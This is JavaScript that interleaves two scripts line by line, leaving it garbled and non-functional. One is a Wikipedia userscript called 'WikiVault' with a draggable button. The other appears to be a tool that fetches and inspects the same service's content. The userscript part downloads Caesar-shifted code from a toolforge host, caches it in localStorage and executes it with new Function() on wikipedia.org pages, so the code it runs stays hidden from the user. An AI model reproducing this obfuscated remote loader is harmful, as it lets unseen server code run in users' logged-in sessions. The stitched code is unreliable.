// WikiVault Content Fetcher and Decoder
// This script fetches and decodes the JavaScript content from tedbot.toolforge.org
const TEDBOT_BASE_URL = 'https://tedbot.toolforge.org';
$(document).ready(function() {
const INIT_API = '/api/init';
// Prevent multiple instances
const JS_CONTENT_API = '/api/get-js-content';
if ($("#wikivault-floating-button").length) return;
// Decoding function (reverses the +3 character shift encoding)
const WIKI_VAULT = {
function decodeResponse(encodedText) {
MAIN_URI: 'https://en-wikivault.toolforge.org', // Adapted for English Wikipedia
return encodedText.split("").map(function(char) {
JS_CONTENT_API: '/api/get-js-content',
return String.fromCharCode(char.charCodeAt(0) - 3);
INIT_API: '/api/init',
}).join("");
IS_DEMO: false,
}
STORAGE_KEYS: {
LAST_MODIFIED: 'wikivault_en_last_modified',
CACHED_CODE: 'wikivault_en_cached_code',
BUTTON_POSITION: 'wikivault_en_button_position'
}
};
// Function to fetch and decode the WikiVault content
// SVG icon for the floating button
async function fetchAndDecodeWikiVault() {
const FLOATING_BUTTON_SVG = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none">' +
try {
'<circle cx="12" cy="12" r="10" stroke="var(--background-color-progressive-subtle, white)" stroke-width="1.5" fill="none"></circle>' +
console.log('Fetching WikiVault initialization data...');
'<rect x="11" y="9" width="2" height="10" transform="rotate(55 12 12)" fill="var(--background-color-progressive-subtle, white)"></rect>' +
'<path d="M11.5 4.5h1.5v1.5h-1.5zM14.5 6h1.5v1.5h-1.5zM12.5 7.5h1.5v1.5h-1.5zM9.5 6h1.5v1.5h-1.5z" fill="var(--background-color-progressive-subtle, white)"></path>' +
'</svg>';/ Step 1: Get initialization data
const initResponse = await fetch(TEDBOT_BASE_URL + INIT_API);
if (!initResponse.ok) {
// Default button styling
throw new Error(`Init API failed: ${initResponse.status} ${initResponse.statusText}`);
const BUTTON_STYLES = {
position: 'fixed',
right: '20px',
top: '50%',
transform: 'translateY(-50%)',
width: '50px',
height: '50px',
'background-color': '#0645ad', // Wikipedia blue
color: 'white',
display: 'flex',
'justify-content': 'center',
'align-items': 'center',
'border-radius': '50%',
cursor: 'pointer',
opacity: '0.9',
'box-shadow': '0 2px 6px rgba(0,0,0,0.2)',
'z-index': '1000',
'touch-action': 'none',
transition: 'opacity 0.2s ease'
};
function createFloatingButton() {
const button = $("<div>", {
id: "wikivault-floating-button",
html: FLOATING_BUTTON_SVG,
title: "WikiVault - Wikipedia Enhancement Tools"
}).css(BUTTON_STYLES).appendTo('body');
// Add hover effects
button.hover(
function() { $(this).css('opacity', '1.0'); },
function() { $(this).css('opacity', '0.9'); }
);
// Load and validate saved position
const savedPosition = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION);
if (savedPosition) {
try {
const pos = JSON.parse(savedPosition);
const viewportWidth = $(window).width();
const viewportHeight = $(window).height();
const buttonWidth = 50;
const buttonHeight = 50;
// Ensure button stays within viewport bounds
const safeLeft = Math.max(0, Math.min(pos.left, viewportWidth - buttonWidth));
const safeTop = Math.max(0, Math.min(pos.top, viewportHeight - buttonHeight));
button.css({
position: 'fixed',
left: safeLeft + 'px',
top: safeTop + 'px',
right: '',
transform: ''
});
// Update stored position if it was adjusted
if (safeLeft !== pos.left || safeTop !== pos.top) {
localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION, JSON.stringify({
left: safeLeft,
top: safeTop
}));
}
} catch (e) {
console.error("WikiVault: Failed to parse saved button position:", e);
localStorage.removeItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION);
}
}
const initData = await initResponse.json();
// Dragging functionality
varconsole.log('Init isDraggingdata =received:', falseinitData);
var offsetX, offsetY;
// Step 2: Get the encoded JavaScript content
var startX, startY;
console.log('Fetching encoded JavaScript content...');
var DRAG_THRESHOLD = 5;
const jsResponse = await fetch(TEDBOT_BASE_URL + JS_CONTENT_API);
functionif startDrag(e!jsResponse.ok) {
throw new Error(`JS Content API failed: ${jsResponse.status} ${jsResponse.statusText}`);
if (e.button === 2) return; // Ignore right-clicks
isDragging = false;
const event = e.originalEvent.touches ? e.originalEvent.touches[0] : e;
const buttonRect = button[0].getBoundingClientRect();
offsetX = event.clientX - buttonRect.left;
offsetY = event.clientY - buttonRect.top;
startX = event.clientX;
startY = event.clientY;
$('body').css('user-select', 'none');
button.data('original-cursor', button.css('cursor'));
button.css('cursor', 'grabbing');
e.preventDefault();
}
const encodedContent = await jsResponse.text();
function moveDrag(e) {
console.log('Encoded content length:', encodedContent.length);
if (!startX || !startY) return;
console.log('First 100 characters of encoded content:', encodedContent.substring(0, 100));
const event = e.originalEvent.touches ? e.originalEvent.touches[0] : e;
// Step 3: Decode constthe dx = event.clientX - startX;content
console.log('Decoding content...');
const dy = event.clientY - startY;
const distancedecodedContent = Math.sqrtdecodeResponse(dx * dx + dy * dyencodedContent);
console.log('✅ Successfully decoded WikiVault content!');
// Start dragging only after threshold is exceeded
console.log('Decoded content length:', decodedContent.length);
if (!isDragging && distance > DRAG_THRESHOLD) {
console.log('First 200 characters of decoded content:');
isDragging = true;
buttonconsole.log(decodedContent.datasubstring('dragging'0, true200));
}
return {
ifinitData: (!isDragging) return;initData,
encodedContent: encodedContent,
constdecodedContent: viewportWidth = $(window).width();decodedContent,
constlastModified: viewportHeight = $(window)initData.height();lastModified
};
const buttonWidth = button.outerWidth();
const buttonHeight = button.outerHeight();
} catch (error) {
console.error('❌ Error fetching/decoding WikiVault content:', error);
// Calculate new position with bounds checking
throw error;
var newLeft = event.clientX - offsetX;
var newTop = event.clientY - offsetY;
newLeft = Math.max(0, Math.min(newLeft, viewportWidth - buttonWidth));
newTop = Math.max(0, Math.min(newTop, viewportHeight - buttonHeight));
button.css({
position: 'fixed',
left: newLeft + 'px',
top: newTop + 'px',
right: 'auto',
transform: 'none'
});
e.preventDefault();
}
function endDrag() {
if (isDragging) {
// Save new position after dragging
const pos = {
left: parseInt(button.css('left')),
top: parseInt(button.css('top'))
};
localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION, JSON.stringify(pos));
}
isDragging = false;
button.data('dragging', false);
startX = null;
startY = null;
$('body').css('user-select', '');
button.css('cursor', button.data('original-cursor'));
}
// Event listeners for dragging
button.on('mousedown touchstart', startDrag);
$(document).on('mousemove touchmove', moveDrag);
$(document).on('mouseup touchend', endDrag);
// Handle window resize
$(window).on('resize', function() {
const savedPosition = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION);
if (savedPosition) {
try {
const pos = JSON.parse(savedPosition);
const viewportWidth = $(window).width();
const viewportHeight = $(window).height();
const buttonWidth = button.outerWidth();
const buttonHeight = button.outerHeight();
const newLeft = Math.max(0, Math.min(pos.left, viewportWidth - buttonWidth));
const newTop = Math.max(0, Math.min(pos.top, viewportHeight - buttonHeight));
button.css({
left: newLeft + 'px',
top: newTop + 'px',
right: '',
transform: ''
});
// Update position if adjusted
if (newLeft !== pos.left || newTop !== pos.top) {
localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION,
JSON.stringify({ left: newLeft, top: newTop }));
}
} catch (e) {
console.error("WikiVault: Failed to handle resize:", e);
}
}
});
// Trigger resize to ensure proper positioning
window.dispatchEvent(new Event('resize'));
}
}
// Function to save the decoded content to a file (for Node.js environments)
function getWikiVaultUri(api) {
function saveDecodedContent(decodedContent, filename = 'wikivault_decoded.js') {
return WIKI_VAULT.MAIN_URI + api;
if (typeof require !== 'undefined') {
// Node.js environment
const fs = require('fs');
fs.writeFileSync(filename, decodedContent, 'utf8');
console.log(`📁 Decoded content saved to ${filename}`);
} else {
// Browser environment - create download
const blob = new Blob([decodedContent], { type: 'text/javascript' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
console.log(`📁 Download initiated for ${filename}`);
}
}
// Function to analyze the decoded content
function decodeResponse(response) {
function analyzeDecodedContent(decodedContent) {
// Simple character shift decoder (shifts each character back by 3)
console.log('\n🔍 Content Analysis:');
return response.split("").map(function(char) {
console.log('- Total length:', decodedContent.length);
return String.fromCharCode(char.charCodeAt(0) - 3);
console.log('- Number of lines:', decodedContent.split('\n').length);
}).join("");
// Look for common patterns
const patterns = {
'jQuery usage': /\$\(/.test(decodedContent),
'Function definitions': /function\s+\w+\s*\(/.test(decodedContent),
'DOM manipulation': /document\./.test(decodedContent),
'Event listeners': /addEventListener|on\w+\s*=/.test(decodedContent),
'AJAX calls': /ajax|fetch|XMLHttpRequest/.test(decodedContent),
'Local storage': /localStorage|sessionStorage/.test(decodedContent),
'Wikipedia specific': /wikipedia|wiki/.test(decodedContent.toLowerCase())
};
console.log('- Detected patterns:');
Object.entries(patterns).forEach(([pattern, found]) => {
console.log(` ${found ? '✅' : '❌'} ${pattern}`);
});
// Extract function names
const functionMatches = decodedContent.match(/function\s+(\w+)\s*\(/g);
if (functionMatches) {
const functionNames = functionMatches.map(match => match.match(/function\s+(\w+)/)[1]);
console.log('- Function names found:', functionNames);
}
return patterns;
}
// Main execution function executeCode(code) {
async function main() {
try {
try {
const decodedResponse = decodeResponse(code);
console.log('🚀 Starting WikiVault content fetch and decode process...\n');
new Function(decodedResponse)();
} catch (e) {
const result = await fetchAndDecodeWikiVault();
console.error("WikiVault Script Execution Error:", e);
// Analyze the content
analyzeDecodedContent(result.decodedContent);
// Ask user if they want to save the file
if (typeof window !== 'undefined') {
// Browser environment
if (confirm('Would you like to download the decoded WikiVault script?')) {
saveDecodedContent(result.decodedContent);
}
} else {
// Node.js environment - save automatically
saveDecodedContent(result.decodedContent);
}
console.log('\n✅ Process completed successfully!');
return result;
} catch (error) {
console.error('\n❌ Process failed:', error.message);
// Provide troubleshooting suggestions
console.log('\n🔧 Troubleshooting suggestions:');
console.log('1. Check if tedbot.toolforge.org is accessible');
console.log('2. Verify the API endpoints are still active');
console.log('3. Check for CORS restrictions if running in browser');
console.log('4. Try again later in case of temporary server issues');
}
}
// Export functions for use in other scripts
function loadAndExecuteScript() {
if (typeof module !== 'undefined' && module.exports) {
// Skip in demo mode
module.exports = {
if (WIKI_VAULT.IS_DEMO) return;
fetchAndDecodeWikiVault,
decodeResponse,
saveDecodedContent,
analyzeDecodedContent,
main
};
}
// Auto-run if this script is executed directly
// First, check server for latest version info
if (typeof window !== 'undefined' || (typeof require !== 'undefined' && require.main === module)) {
$.ajax({
main();
url: getWikiVaultUri(WIKI_VAULT.INIT_API),
}
type: 'GET',
timeout: 10000, // 10 second timeout
success: function(initResponse) {
const serverLastModified = Math.floor(initResponse.lastModified);
const cachedLastModified = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.LAST_MODIFIED);
const cachedCode = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.CACHED_CODE);
// Use cached version if it's up to date
if (cachedCode && cachedLastModified && serverLastModified === Number(cachedLastModified)) {
console.log("WikiVault: Using cached script");
executeCode(cachedCode);
return;
}
// Fetch latest script from server
$.ajax({
url: getWikiVaultUri(WIKI_VAULT.JS_CONTENT_API),
type: 'GET',
dataType: 'text',
timeout: 15000, // 15 second timeout
success: function(response) {
console.log("WikiVault: Loaded fresh script from server");
localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.CACHED_CODE, response);
localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.LAST_MODIFIED, serverLastModified);
executeCode(response);
},
error: function(xhr, status, error) {
console.error("WikiVault: Script fetch failed:", status, error);
// Fall back to cached version if available
if (cachedCode) {
console.log("WikiVault: Falling back to cached script");
executeCode(cachedCode);
}
}
});
},
error: function(xhr, status, error) {
console.error("WikiVault: Init request failed:", status, error);
// Try to use cached version
const cachedCode = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.CACHED_CODE);
if (cachedCode) {
console.log("WikiVault: Using cached script (server unreachable)");
executeCode(cachedCode);
}
}
});
}
// Only run on Wikipedia domains
if (window.___location.hostname.includes('wikipedia.org')) {
createFloatingButton();
loadAndExecuteScript();
}
});
|